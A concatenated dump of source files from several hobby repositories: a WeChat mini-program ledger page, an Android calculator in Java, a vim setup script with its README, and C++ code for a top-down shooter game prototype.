var zongZhi = that.data.zhi + zhi;
that.setData({
[param_content]: list[i].name,
[param_zhang]: list[i].zhang,
listnewnum: listnewnum,
[param_shou]: shou,
[param_zhi]: zhi,
yu: yu,
zhi: zongZhi
})
} else {
var num = that.data.num + 1;
var listnewnum = 0;
if (list[i].type == 1) {
var zhi = list[i].zhang;
var shou = 0;
list[i].zhang = -list[i].zhang;
} else {
var shou = list[i].zhang;
var zhi = 0;
}
var yu = parseInt(that.data.yu) + parseInt(list[i].zhang);
var zongZhi = that.data.zhi + zhi;
var param_content = 'listnew[' + num + '].list[0].name';
var param_zhang = 'listnew[' + num +'].list[0].zhang';
var param_date = 'listnew[' + num + '].date';
var param_dateId = 'listnew[' + num + '].dateId';
var param_shou = 'listnew[' + num + '].shou';
var param_zhi = 'listnew[' + num + '].zhi';
// console.log(param_zhang, list[i].zhang)
that.setData({
[param_content]: list[i].name,
[param_zhang]: list[i].zhang,
[param_date]: date,
[param_dateId]: list[i].date,
num: num,
listnewnum: listnewnum,
[param_shou]: shou,
[param_zhi]: zhi,
yu: yu,
zhi: zongZhi
})
}
}
}
console.log(that.data.listnew,'asdfsd')
}
})
},
/**
* 生命周期函数--监听页面显示
*/
onShow: function () {
},
/**
* 生命周期函数--监听页面隐藏
*/
onHide: function () {
},
/**
* 生命周期函数--监听页面卸载
*/
onUnload: function () {
},
/**
* 页面相关事件处理函数--监听用户下拉动作
*/
onPullDownRefresh: function () {
},
/**
* 页面上拉触底事件的处理函数
*/
onReachBottom: function () {
},
/**
* 用户点击右上角分享
*/
onShareAppMessage: function () {
}
})
|
e5785a7319f11db72ef697747ed6350b9325fe14
|
[
"JavaScript"
] | 2
|
JavaScript
|
Summer-Frontend/33-
|
00219992c6de8dc80926bb60e0478a794088999b
|
22b2e14d481d88d4be0a381e2d9b2b96964c824a
|
refs/heads/main
|
<file_sep>package com.example.calculator;
import androidx.annotation.RequiresApi;
import androidx.appcompat.app.AppCompatActivity;
import java.util.Stack;
import android.os.Build;
import android.os.Bundle;
import android.text.SpannableStringBuilder;
import android.util.Log;
import android.view.View;
import android.widget.EditText;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class MainActivity extends AppCompatActivity {
private EditText display;
private final Pattern pattern = Pattern.compile("[0-9]+");
@RequiresApi(api = Build.VERSION_CODES.LOLLIPOP)
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
display = findViewById(R.id.display);
display.setShowSoftInputOnFocus(false);
}
private void updateText(String appendStr) {
String lastEle;
String prevStr = display.getText().toString();
int cursorPos = display.getSelectionStart();
String rightStr = prevStr.substring(cursorPos);
int strLen = prevStr.length();
if (strLen != 0) {
lastEle = prevStr.substring(strLen - 1);
} else {
lastEle = "0";
}
Matcher matchLastEle = pattern.matcher(lastEle);
if (!matchLastEle.matches()) {
Matcher matchAppEle = pattern.matcher(appendStr);
if (!matchAppEle.matches()) {
cursorPos = cursorPos - 1;
}
}
String leftStr = prevStr.substring(0, cursorPos);
display.setText(String.format("%s%s%s", leftStr, appendStr, rightStr));
display.setSelection(cursorPos + 1);
}
public void zeroBTN(View view) {
updateText("0");
}
public void oneTN(View view) {
updateText("1");
}
public void twoBTN(View view) {
updateText("2");
}
public void threeBTN(View view) {
updateText("3");
}
public void fourBTN(View view) {
updateText("4");
}
public void fiveBTN(View view) {
updateText("5");
}
public void sixBTN(View view) {
updateText("6");
}
public void sevenBTN(View view) {
updateText("7");
}
public void eightBTN(View view) {
updateText("8");
}
public void nineBTN(View view) {
updateText("9");
}
public void addBTN(View view) {
if (!display.getText().toString().equals(""))
updateText("+");
}
public void subBTN(View view) {
if (!display.getText().toString().equals(""))
updateText("-");
}
public void mulBTN(View view) {
if (!display.getText().toString().equals(""))
updateText("×");
}
public void divBTN(View view) {
if (!display.getText().toString().equals(""))
updateText("÷");
}
public void dotBTN(View view) {
if (!display.getText().toString().equals(""))
updateText(".");
}
public void clearBTN(View view) {
display.setText("");
}
public void eqlBTN(View view) {
String exp = display.getText().toString();
exp = exp.replaceAll("×", "*");
exp = exp.replaceAll("÷", "/");
Log.d("Result", exp);
String result;
result = String.valueOf(evaluate(exp));
display.setText(result);
display.setSelection(result.length());
}
public void bkspBTN(View view) {
int cursorPos = display.getSelectionStart();
int textLen = display.getText().length();
if (cursorPos != 0 && textLen != 0) {
SpannableStringBuilder selection = (SpannableStringBuilder) display.getText();
selection.replace(cursorPos - 1, cursorPos, "");
display.setText(selection);
display.setSelection(cursorPos - 1);
}
}
public int evaluate(String expression) {
char[] tokens = expression.toCharArray();
Stack<Integer> values = new
Stack<>();
Stack<Character> ops = new
Stack<>();
for (int i = 0; i < tokens.length; i++) {
if (tokens[i] == ' ')
continue;
if (tokens[i] >= '0' &&
tokens[i] <= '9') {
StringBuilder sbuf = new
StringBuilder();
while (i < tokens.length &&
tokens[i] >= '0' &&
tokens[i] <= '9')
sbuf.append(tokens[i++]);
values.push(Integer.parseInt(sbuf.
toString()));
i--;
} else if (tokens[i] == '+' ||
tokens[i] == '-' ||
tokens[i] == '*' ||
tokens[i] == '/') {
while (!ops.empty() &&
hasPrecedence(tokens[i],
ops.peek()))
values.push(applyOp(ops.pop(),
values.pop(),
values.pop()));
ops.push(tokens[i]);
}
}
while (!ops.empty())
values.push(applyOp(ops.pop(),
values.pop(),
values.pop()));
return values.pop();
}
public static boolean hasPrecedence(
char op1, char op2) {
if (op2 == '(' || op2 == ')')
return false;
return (op1 != '*' && op1 != '/') ||
(op2 != '+' && op2 != '-');
}
public static int applyOp(char op,
int b, int a) {
switch (op) {
case '+':
return a + b;
case '-':
return a - b;
case '*':
return a * b;
case '/':
if (b == 0)
throw new
UnsupportedOperationException(
"Cannot divide by zero");
return a / b;
}
return 0;
}
}
|
466bbbccf0a3fa40c21e1e299c80574e42c0eb07
|
[
"Java"
] | 1
|
Java
|
ashusri16/calculator_android
|
e947b1c718964044b3d7f917bc0c1e5e54033cb0
|
c5b286fa41c4b36bb57a1bf4aa03777d785bdd87
|
refs/heads/master
|
<file_sep># Vim_setup
### Description
This is just a tiny bash script that I run whenever I want to setup vim on a new machine. </br>
This is, of course, what I *personally* like to have for my vim setup. </br>
I can be ran on both centos or mac(with brew).
The .vimrc in this repo is deprecated. I have a separate repo with the .vimrc found [here](https://github.com/paperjuice/.vimrc.git)
### What it contains?
By running the bash script you will get a small .vimrc file which is a vim custom config file
Plus, the following packages:
* ###### [pathogen.vim](https://github.com/tpope/vim-pathogen) - Vim package manager
* ###### [vim-elixir](https://github.com/elixir-editors/vim-elixir) - Elixir code syntax
* ###### [vim-airline](https://github.com/vim-airline/vim-airline) - Shows status bar
* ###### [vim-better-white-space](https://github.com/ntpeters/vim-better-whitespace) - Shows if there are triling white spaces
* ###### [vim-nerdtree](https://github.com/scrooloose/nerdtree) - Directory explorer
* ###### [vim-supertab](https://github.com/ervandew/supertab) - Autocomplete by pressing the TAB key
* ###### [vim-fugitive](https://github.com/tpope/vim-fugitive) - Git integration
* ###### [ctrlp.vim](https://github.com/ctrlpvim/ctrlp.vim) - File finder
* ###### [ack.vim](https://github.com/mileszs/ack.vim) - Ack integration
### Installation
For Mac, you will need git installed.
If you run it on Centos, git is going to be installed if missing.
Once that is done, clone the repo and cd into it
```
git clone https://github.com/paperjuice/vim_setup.git && \
cd vim_setup
```
Make sure the vim_setup.sh script is executable
```
chmod a+x vim_setup.sh
```
#### Run the bash script
For Mac
```
./vim_setup.sh <Users/user>
```
#### Git branch in Iterm2
Command `send text at start`:
```bash
PS1="\W\[\033[32m\]\$(parse_git_branch)\[\033[00m\] Ξ " && clear
```
Add the following function to `.bash_profile`
```bash
#Show git branch in terminal
parse_git_branch() {
git branch 2> /dev/null | sed -e '/^[^*]/d' -e 's/* \(.*\)/ (\1)/'
}
```
#### Directory path in tab Iterm2
In `.bash_profile`:
```bash
#Iterm directory path in tab
if [ $ITERM_SESSION_ID ]; then
export PROMPT_COMMAND='echo -ne "\033]0;${PWD##*/}\007"; ':"$PROMPT_COMMAND";
fi
```
#### Git bash completion
Instructions: https://github.com/bobthecow/git-flow-completion/wiki/Install-Bash-git-completion
#### Set colors to match iTerm2 Terminal Colors
In `.bash_profile`:
```bash
export TERM=xterm-256color
```
#### Set CLICOLOR if you want Ansi Colors in iTerm2
In `.bash_profile`:
```bash
export CLICOLOR=1
```
#### Fully clear the console
In `.bash_profile`:
```bash
fclear() {
clear
printf '\e[3J'
}
```
### Additions
The .vimrc file will be moved to ~/
<file_sep>#!/bin/bash
#add MAC user as in /Users/<user>/"
MAC_USER=${1:-""}
#check if Centos of MAC
UNAME=$(uname -s)
if [[ $UNAME =~ "Linux" ]]; then
P_MANAGER=yum
FLAG=-y
echo "nope"
else
P_MANAGER=brew
FLAG=""
if [[ $MAC_USER == "" ]]; then
echo "Please provide the MAC's username"
return 1
fi
fi
if [[ $P_MANAGER == yum ]]; then
#TODO: have a different check for 'if git is available(by version)'
if [ yum list installed git > /dev/null 2>&1 ]; then
yum -y install git;
else
echo "Git is already installed"
fi
fi
#install vim
#TODO: Skip if it exists
$P_MANAGER $FLAG install vim
#install pathogen
if [ ! -d "/Users/${MAC_USER}/.vim/bundle/" ]; then
mkdir -p ~/.vim/autoload ~/.vim/bundle && \
curl -LSso ~/.vim/autoload/pathogen.vim https://tpo.pe/pathogen.vim
else
echo "Pathogen already exists."
fi
#copy vimrc configuration
git clone https://github.com/paperjuice/.vimrc.git ~/vimrc/
mv ~/vimrc/.vimrc ~/
rm -rf ~/vimrc/
#vim elixir
if [ ! -d "/Users/${MAC_USER}/.vim/bundle/vim-elixir" ]; then
git clone https://github.com/elixir-lang/vim-elixir.git ~/.vim/bundle/vim-elixir
else
echo "Vim-elixir already exists."
fi
#vim -airline
if [ ! -d "/Users/${MAC_USER}/.vim/bundle/vim-airline" ]; then
git clone https://github.com/vim-airline/vim-airline.git ~/.vim/bundle/vim-airline
else
echo "Vim-airline already exists."
fi
#vim better white space
if [ ! -d "/Users/${MAC_USER}/.vim/bundle/vim-better-whitespace" ]; then
git clone git://github.com/ntpeters/vim-better-whitespace.git ~/.vim/bundle/vim-better-whitespace
else
echo "vim-better-whitespace already exists."
fi
#vim nerdtree
if [ ! -d "/Users/${MAC_USER}/.vim/bundle/nerdtree" ]; then
git clone https://github.com/scrooloose/nerdtree.git ~/.vim/bundle/nerdtree
else
echo "vim-better-whitespace already exists."
fi
#vim supertab
if [ ! -d "/Users/${MAC_USER}/.vim/bundle/supertab" ]; then
git clone https://github.com/ervandew/supertab.git ~/.vim/bundle/supertab
else
echo "Supertab already exists."
fi
#vim fugitive, git thingy
if [ ! -d "/Users/${MAC_USER}/.vim/bundle/vim-fugitive" ]; then
git clone https://github.com/tpope/vim-fugitive.git ~/.vim/bundle/vim-fugitive && \
vim -u NONE -c "helptags vim-fugitive/doc" -c q
else
echo "Vim-fugitive already exists."
fi
#install extra package enterprise linux for centos
if [[ $P_MANAGER == yum ]]; then
$P_MANAGER $FLAG install epel-release
fi
#ack search
$P_MANAGER $FLAG install ack
if [ ! -d "/Users/${MAC_USER}/.vim/bundle/ack.vim" ]; then
git clone https://github.com/mileszs/ack.vim.git ~/.vim/bundle/ack.vim
else
echo "Ack already exists."
fi
#file finder
if [ ! -d "/Users/${MAC_USER}/.vim/bundle/ctrlp.vim" ]; then
git clone https://github.com/kien/ctrlp.vim.git ~/.vim/bundle/ctrlp.vim
else
echo "Ctrlp already exists."
fi
|
dc7ce77495cd57002f4988f318e4d9663cacd44a
|
[
"Markdown",
"Shell"
] | 2
|
Markdown
|
paperjuice/vim_setup
|
5e079a1f68ae437defe98180d3253acf63b44019
|
ddf581b850296bb69f4e02a769d82de3f88fe934
|
refs/heads/master
|
<repo_name>AdySan/adysan.github.io<file_sep>/src/controls.jsx
var React = require('react'),
_ = require('lodash');
var Controls = React.createClass({
updateYearFilter: function (year, reset) {
var filter = function (d) {
return d.submit_date.getFullYear() == year;
};
if (reset || !year) {
filter = function () { return true; };
year = '*';
}
this.setState({yearFilter: filter,
year: year});
},
updateJobTitleFilter: function (title, reset) {
var filter = function (d) {
return d.clean_job_title == title;
};
if (reset || !title) {
filter = function () { return true; };
title = '*';
}
this.setState({jobTitleFilter: filter,
jobTitle: title});
},
updateStateFilter: function (state, reset) {
var filter = function (d) {
return d.state == state;
};
if (reset || !state) {
filter = function () { return true; };
state = '*';
}
this.setState({stateFilter: filter,
state: state});
},
getInitialState: function () {
return {yearFilter: function () { return true; },
jobTitleFilter: function () { return true; },
stateFilter: function () { return true; },
year: '*',
state: '*',
jobTitle: '*'};
},
componentDidUpdate: function () {
window.location.hash = [this.state.year || '*',
this.state.state || '*',
this.state.jobTitle || '*'].join("-");
this.props.updateDataFilter(
(function (filters) {
return function (d) {
return filters.yearFilter(d)
&& filters.jobTitleFilter(d)
&& filters.stateFilter(d);
};
})(this.state)
);
},
shouldComponentUpdate: function (nextProps, nextState) {
return !_.isEqual(this.state, nextState);
},
render: function () {
var getYears = function (data) {
return _.keys(_.groupBy(data,
function (d) {
return d.submit_date.getFullYear()
}))
.map(Number);
};
var getJobTitles = function (data) {
return _.keys(_.groupBy(data,
function (d) {
return d.clean_job_title;
}));
};
var getStates = function (data) {
return _.sortBy(_.keys(_.groupBy(data,
function (d) {
return d.state;
})));
};
return (
<div>
<ControlRow data={this.props.data}
getToggleValues={getYears}
hashPart="0"
updateDataFilter={this.updateYearFilter} />
<ControlRow data={this.props.data}
getToggleValues={getJobTitles}
hashPart="2"
updateDataFilter={this.updateJobTitleFilter} />
<ControlRow data={this.props.data}
getToggleValues={getStates}
hashPart="1"
updateDataFilter={this.updateStateFilter}
capitalize="true" />
</div>
)
}
});
var ControlRow = React.createClass({
makePick: function (picked, newState) {
var togglesOn = this.state.togglesOn;
togglesOn = _.mapValues(togglesOn,
function (value, key) {
return newState && key == picked;
});
// if newState is false, we want to reset
this.props.updateDataFilter(picked, !newState);
this.setState({togglesOn: togglesOn});
},
getInitialState: function () {
var toggles = this.props.getToggleValues(this.props.data),
togglesOn = _.zipObject(toggles,
toggles.map(function () { return false; }));
return {togglesOn: togglesOn};
},
componentWillMount: function () {
var hash = window.location.hash.replace('#', '').split("-");
if (hash.length) {
var fromUrl = hash[this.props.hashPart];
if (fromUrl != '*' && fromUrl != '') {
this.makePick(fromUrl, true);
}else{
// reset
this.props.updateDataFilter('', true);
}
}
},
render: function () {
return (
<div className="row">
<div className="col-md-12">
{this.props.getToggleValues(this.props.data).map(function (value) {
var key = "toggle-"+value,
label = value;
if (this.props.capitalize) {
label = label.toUpperCase();
}
return (
<Toggle label={label}
value={value}
key={key}
on={this.state.togglesOn[value]}
onClick={this.makePick} />
);
}.bind(this))}
</div>
</div>
);
}
});
var Toggle = React.createClass({
getInitialState: function () {
return {on: false};
},
handleClick: function (event) {
var newState = !this.state.on;
this.setState({on: newState});
this.props.onClick(this.props.value, newState);
},
componentWillReceiveProps: function (newProps) {
this.setState({on: newProps.on});
},
render: function () {
var className = "btn btn-default";
if (this.state.on) {
className += " btn-primary";
}
return (
<button className={className} onClick={this.handleClick}>
{this.props.label}
</button>
);
}
});
module.exports = Controls;
|
e1bd77d159924d39c07e65f2441b5e447a7e5681
|
[
"JavaScript"
] | 1
|
JavaScript
|
AdySan/adysan.github.io
|
03bf3332e0f85b731c9afc020a2616ba80d3391c
|
67c531d07f32ee9fc456bded669aafef76c42a54
|
refs/heads/master
|
<repo_name>edufg88/gandhi-prototype<file_sep>/Gandhi-Prototype/lib/cBullet.cpp
#include "cBullet.h"
#include "cGame.h"
#define _USE_MATH_DEFINES
#include <math.h>
cBullet::cBullet( int type, int x, int y, int vx, int vy )
{
this->type = type;
this->x = x;
this->y = y;
this->vx = vx;
this->vy = vy;
Scene = cGame::GetInstance()->GetScene();
angle = atan2(float(vy),float(vx));
angle += (float) M_PI_2;
}
cBullet::~cBullet( void )
{
}
bool cBullet::Move()
{
x += vx;
y += vy;
return Scene->map[(y+BULLET_HEIGHT/2)/TILE_WIDTH][(x+BULLET_WIDTH/2)/TILE_WIDTH].walkable;
}
void cBullet::GetRect( RECT *rc,int *posx,int *posy,cScene *Scene,float *ang )
{
*posx = SCENE_Xo + x - (Scene->camx);
*posy = SCENE_Yo + y - (Scene->camy);
*ang = angle;
switch (type)
{
case BULL_1:
SetRect(rc,576,192,640,256);
break;
case BULL_2:
SetRect(rc,640,192,704,256);
break;
case BULL_3:
SetRect(rc,704,192,768,256);
break;
}
}
void cBullet::GetWorldRect( RECT *rc )
{
SetRect(rc, x, y, x + BULLET_WIDTH, y + BULLET_HEIGHT);
}
int cBullet::GetDamage()
{
return bull_dam[type];
}
void cBullet::GetCell( int *cellx,int *celly )
{
*cellx = x/TILE_WIDTH;
*celly = y/TILE_WIDTH;
}
<file_sep>/Gandhi-Prototype/include/cHUD.h
#ifndef __HUD_H__
#define __HUD_H__
#include <windows.h>
#include <cScene.h>
//Parts of the HUD
#define LIFE 0
#define POINTS 1
#define WEAPON 2
typedef struct
{
int width;
int height;
int x;
int y;
RECT r;
}HUDElement;
class cHUD
{
public:
cHUD();
virtual ~cHUD();
HUDElement Elements[3][5];
};
#endif
<file_sep>/Gandhi-Prototype/lib/cHUD.cpp
#include "cHUD.h"
cHUD::cHUD()
{
// INICIALIZAMOS TODOS LOS ELEMENTOS DEL HUD
long hr;
/***********************************/
/* ARMA */
/***********************************/
HUDElement weapon0;
weapon0.x = 70;
weapon0.y = 660;
SetRect(&weapon0.r, 173, 120, 223, 160);
Elements[WEAPON][0] = weapon0;
HUDElement weapon1;
weapon1.x = 70;
weapon1.y = 660;
SetRect(&weapon1.r, 111, 120, 172, 160);
Elements[WEAPON][1] = weapon1;
HUDElement weapon2;
weapon2.x = 70;
weapon2.y = 660;
SetRect(&weapon2.r, 50, 120, 111, 160);
Elements[WEAPON][2] = weapon2;
HUDElement weapon3;
weapon3.x = 17;
weapon3.y = 644;
SetRect(&weapon3.r, 405, 105, 540, 175);
Elements[WEAPON][3] = weapon3;
HUDElement weapon4;
weapon4.x = 0;
weapon4.y = 650;
SetRect(&weapon4.r, 330, 110, 400, 170);
Elements[WEAPON][4] = weapon4;
/***********************************/
/* VIDA */
/***********************************/
HUDElement life0;
life0.x = 35;
life0.y = 12;
SetRect(&life0.r, 400, 0, 450, 50);
Elements[LIFE][0] = life0;
HUDElement life1;
life1.x = 10;
life1.y = 7;
SetRect(&life1.r, 0, 0, 330, 65);
Elements[LIFE][1] = life1;
HUDElement life2;
life2.x = 0;
life2.y = 10;
SetRect(&life2.r, 460, 0, 500, 60);
Elements[LIFE][2] = life2;
/***********************************/
/* PUNTOS */
/***********************************/
HUDElement points0;
points0.width = 35;
points0.height = 0;
SetRect(&points0.r, 860, 20, 1024, 100);
Elements[POINTS][0] = points0;
HUDElement points1;
points1.x = 800;
points1.y = 12;
SetRect(&points1.r, 570, 0, 610, 55);
Elements[POINTS][1] = points1;
}
cHUD::~cHUD()
{
}<file_sep>/Gandhi-Prototype/include/cCritter.h
#ifndef __CRITTER_H__
#define __CRITTER_H__
#include <windows.h>
#include "cTrajectory.h"
class cScene;
class cCritter
{
public:
cCritter(void);
virtual ~cCritter(void);
void GoToCell(int destcx,int destcy);
void GoToEnemy(int destcx,int destcy);
void Move();
void GetRect(RECT *rc,int *posx,int *posy,cScene *Scene);
void GetRectLife(RECT *rc,int *posx,int *posy,cScene *Scene);
void GetRectShoot(RECT *rc,int *posx,int *posy,cScene *Scene);
void GetRectRadar(RECT *rc,int *posx,int *posy);
void SetPosition(int posx,int posy);
void GetPosition(int *posx,int *posy);
void SetCell(int cellx,int celly);
void GetCell(int *cellx,int *celly);
void SetSelected(bool sel);
bool GetSelected();
bool GetShooting();
bool IsFiring();
private:
int x,y; //Position in total map
int cx,cy; //Cell position in total map
bool selected; //Selected for move or attack
cTrajectory Trajectory;
int seq; //Sequence animation control
int delay; //Animation delay
bool attack; //Order to attack established (moving for attack)
bool shoot; //Begin attack (to shoot)
int shoot_seq; //Shooter sequence animation control
int shoot_delay;//Shooter animation delay
};
#endif<file_sep>/Gandhi-Prototype/lib/cGSMenu.cpp
#include "cGSMenu.h"
#include "cGSIngame.h"
#include "cMouse.h"
#include "cGame.h"
void cGSMenu::Enter()
{
}
bool cGSMenu::Process()
{
cGame *Game = cGame::GetInstance();
cMouse *Mouse;
Mouse = cInputLayer::GetInstance()->GetMouse();
// EFG: Comprobar eventos del raton
if(Mouse->ButtonDown(LEFT))
{
//Play button
if(Mouse->In(158,263,301,309))
{
// EFG: El cambio de estado lo hacemos desde la clase cGame
Game->ChangeState(Game->inGame);
}
//Exit button
else if(Mouse->In(728,263,873,309))
{
return false;
}
}
return true;
}
bool cGSMenu::Render()
{
return cGraphicsLayer::GetInstance()->RenderMenu();
}
void cGSMenu::Exit()
{
}<file_sep>/Gandhi-Prototype/lib/cEnemy.cpp
#include "cEnemy.h"
#include "cScene.h"
#include "cGame.h"
#include <stdlib.h>
cEnemy::cEnemy(int type, int cx, int cy)
{
this->type = type;
SetCell(cx,cy);
life = enemy_life[type];
weapon = enemy_weapon[type];
weapon_rof = 0;
Scene = cGame::GetInstance()->GetScene();
Hero = cGame::GetInstance()->GetHero();
Game = cGame::GetInstance();
}
cEnemy::~cEnemy()
{
}
void cEnemy::GetHeadRect(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->camx);
*posy = SCENE_Yo + y - (Scene->camy);
switch (type)
{
case ENEMY_1:
SetRect(rc, 320, 0, 384, 64);
break;
case ENEMY_2:
SetRect(rc, 384, 0, 448, 64);
break;
case ENEMY_3:
SetRect(rc, 448, 0, 512, 64);
break;
}
}
void cEnemy::GetBodyRect(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->camx);
*posy = SCENE_Yo + y - (Scene->camy);
switch (type)
{
case ENEMY_1:
SetRect(rc, 512, 0, 576, 64);
break;
case ENEMY_2:
SetRect(rc, 576, 0, 640, 64);
break;
case ENEMY_3:
SetRect(rc, 640, 0, 704, 64);
break;
}
}
void cEnemy::SetPosition(int posx,int posy)
{
x = posx;
y = posy;
}
void cEnemy::GetPosition(int *posx,int *posy)
{
*posx = x;
*posy = y;
}
void cEnemy::SetCell(int cellx,int celly)
{
x = cellx*TILE_WIDTH;
y = celly*TILE_WIDTH;
}
void cEnemy::GetCell(int *cellx,int *celly)
{
*cellx = x/TILE_WIDTH;
*celly = y/TILE_WIDTH;
}
void cEnemy::GetWorldRect(RECT *rc)
{
SetRect(rc, x, y, x + ENEMY_WIDTH, y + ENEMY_HEIGHT);
}
bool cEnemy::Hit(int damage)
{
Game->GamePoints += damage *10;
life -= damage;
return life <= 0;
}
void cEnemy::MoveTo(int destcx,int destcy)
{
int cx = x/TILE_WIDTH;
int cy = y/TILE_WIDTH;
if(Path.IsDone()) Path.Make(cx,cy,destcx,destcy);
else Path.ReMake(destcx,destcy);
}
void cEnemy::update()
{
int mov;
int cx, cy;
Shoot();
if(!Path.IsDone())
{
mov=Path.NextStep(&x,&y,&cx,&cy,this);
if(mov==ARRIVE)
{
Path.Done();
}
else if(mov==STOP)
{
GetCell(&cx, &cy);
MoveTo(cx - 1 + rand()%3, cy - 1 + rand()%3);
}
}
else {
Hero->GetCell(&cx, &cy);
MoveTo(cx, cy);
}
}
void cEnemy::Shoot()
{
int dx = Hero->GetX() - x - ENEMY_WIDTH/2;
int dy = Hero->GetY() - y - ENEMY_HEIGHT/2;
float mod = sqrt(float(dx*dx + dy*dy));
float dxa = (float)dx/(float)mod;
float dya = (float)dy/(float)mod;
if (weapon_rof == bull_rof[weapon]<<1) //<<1 ajuste de dificultad
{
Game->addEnemyBullet(weapon, x, y, dxa*bull_speed[weapon], dya*bull_speed[weapon]);
weapon_rof = 0;
}
else
weapon_rof++;
}
void cEnemy::Die()
{
int drop = rand()%NUM_ITEMS;
if(drop == IT_WEAPON) {
if(Hero->GetWeapon() < weapon && rand()%2) drop = Hero->GetWeapon() + IT_WEAPON_1 + Hero->upgraded;
else drop = -1;
}
if(drop != -1) Game->addItem(drop, x, y);
Game->GetSound()->playEfecto("explo");
Game->rumble = 2;
Game->GamePoints += (type + 1)*150;
}
<file_sep>/Gandhi-Prototype/lib/cCritter.cpp
#include "cCritter.h"
#include "cTrajectory.h"
#include "cScene.h"
cCritter::cCritter()
{
SetPosition(384,96);
SetCell(12,3);
SetSelected(false);
seq=0;
delay=0;
attack=false;
shoot=false;
shoot_seq=0;
shoot_delay=0;
}
cCritter::~cCritter()
{
}
void cCritter::GetRect(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->cx<<5);
*posy = SCENE_Yo + y - (Scene->cy<<5);
switch(Trajectory.Faced())
{
case STOP: SetRect(rc,256,0,288,32); break;
case N: SetRect(rc,((12+seq)<<5),0,((12+seq+1)<<5),32); break;
case S: SetRect(rc,(( 8+seq)<<5),0,(( 8+seq+1)<<5),32); break;
case SE:
case NE:
case E: SetRect(rc,(( 7-seq)<<5),0,(( 7-seq+1)<<5),32); break;
case SO:
case NO:
case O: SetRect(rc, (seq<<5),0, ((seq+1)<<5),32); break;
}
if(!Trajectory.IsDone())
{
delay++;
if(delay>=4)
{
seq++;
if(seq>3) seq=0;
delay=0;
}
}
}
void cCritter::GetRectLife(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->cx<<5);
*posy = SCENE_Yo + y - (Scene->cy<<5);
//Life dependency not implemented
SetRect(rc,0,32,32,64);
}
void cCritter::GetRectShoot(RECT *rc,int *posx,int *posy,cScene *Scene)
{
*posx = SCENE_Xo + x - (Scene->cx<<5);
*posy = SCENE_Yo + y - (Scene->cy<<5);
SetRect(rc,shoot_seq<<5,64,(shoot_seq+1)<<5,96);
switch(shoot_seq)
{
case 0: *posx+=5; break;
case 1: *posx-=2; break;
case 2: *posx-=8; break;
case 3: *posx-=16; break;
case 4: *posx-=24; break;
case 5: *posx-=32; break;
case 6: *posx-=32; break;
case 7: *posx-=32; break;
}
shoot_delay++;
if(shoot_delay==4)
{
shoot_seq++;
if(shoot_seq==16) shoot_seq=0;
shoot_delay=0;
}
}
void cCritter::GetRectRadar(RECT *rc,int *posx,int *posy)
{
*posx = RADAR_Xo + ( cx << 2 );
*posy = RADAR_Yo + ( cy << 2 );
SetRect(rc,80,32,84,36);
}
void cCritter::GoToCell(int destcx,int destcy)
{
// "leave all we're doing"
attack=false;
shoot=false;
// Go
if(Trajectory.IsDone()) Trajectory.Make(cx,cy,destcx,destcy);
else Trajectory.ReMake(destcx,destcy);
}
void cCritter::GoToEnemy(int destcx,int destcy)
{
//(Only implemented attack right to left)
GoToCell(destcx+1,destcy);
attack=true;
shoot=false;
}
void cCritter::Move()
{
int mov;
if(!Trajectory.IsDone())
{
mov=Trajectory.NextStep(&x,&y,&cx,&cy);
if(mov==ARRIVE)
{
Trajectory.Done();
seq=0;
}
else if(mov==CONTINUE)
{
}
}
else
{
//Moved for attack?
if(attack)
{
shoot=true;
shoot_seq=0;
shoot_delay=0;
attack=false;
}
}
}
void cCritter::SetPosition(int posx,int posy)
{
x = posx;
y = posy;
}
void cCritter::GetPosition(int *posx,int *posy)
{
*posx = x;
*posy = y;
}
void cCritter::SetCell(int cellx,int celly)
{
cx = cellx;
cy = celly;
}
void cCritter::GetCell(int *cellx,int *celly)
{
*cellx = cx;
*celly = cy;
}
void cCritter::SetSelected(bool sel)
{
selected = sel;
}
bool cCritter::GetSelected()
{
return selected;
}
bool cCritter::GetShooting()
{
return shoot;
}
bool cCritter::IsFiring()
{
return (shoot_seq<8);
}<file_sep>/Gandhi-Prototype/include/cGame.h
#ifndef __GAME_H__
#define __GAME_H__
#include "cGraphicsLayer.h"
#include "cInputLayer.h"
#include "cScene.h"
#include "cHUD.h"
#include "cSound.h"
#include "cGameState.h"
#include "cHero.h"
#include "cEnemy.h"
#include "cItem.h"
#include "cBullet.h"
#include <list>
#define STATE_MAIN 0
#define STATE_GAME 1
class cGSGameEnd;
class cGSGameOver;
class cGSIngame;
class cGSMenu;
// EFG: Clase principal del juego utilizamos el patrón Singleton
class cGame
{
public:
static cGame* GetInstance();
virtual ~cGame();
bool Init(HWND hWnd,HINSTANCE hInst,bool exclusive);
bool Loop();
void Finalize();
cGameState* GetState(){ return State; }
cScene* GetScene() { return Scene; }
cHUD* GetHUD() { return HUD; }
cHero* GetHero() { return Hero; }
cSound* GetSound() { return Sound; }
// Arnau: Publicos y sin Getter para más comodidad
std::list<cEnemy*> Enemies;
std::list<cEnemy*> StalkingEnemies;
std::list<cItem*> Items;
std::list<cBullet*> HeroBullets;
std::list<cBullet*> EnemyBullets;
// EFG: Cambia el estado del juego
bool ChangeState(cGameState* newState);
void ProcessOrder();
bool Render();
void addEnemy(int type, int cx, int cy);
void addStalkingEnemy(int type, int cx, int cy);
void addItem(int type, int posx, int posy);
void addEnemyBullet(int type, int x, int y, int vx, int vy);
void addHeroBullet(int type, int x, int y, int vx, int vy);
void addLevelEnd(int cx, int cy);
//Aux
bool intersects(RECT *r1, RECT *r2);
cEnemy* intersectsWithEnemy(RECT *r);
cEnemy* intersectsWithEnemy(RECT *r, cEnemy *self);
int GamePoints;
int rumble;
cGSGameEnd* gameEnd;
cGSGameOver* gameOver;
cGSIngame* inGame;
cGSMenu* menu;
private:
static cGame* instance;
cGame();
bool LoopInput();
bool LoopProcess();
bool LoopOutput();
void ProcessKeyboard();
void ProcessCollisions();
void ProcessEnemies();
cGraphicsLayer* Graphics;
cInputLayer* Input;
cSound* Sound;
cScene* Scene;
cHUD* HUD;
cGameState* State;
cHero* Hero;
};
#endif
<file_sep>/Gandhi-Prototype/include/cGameState.h
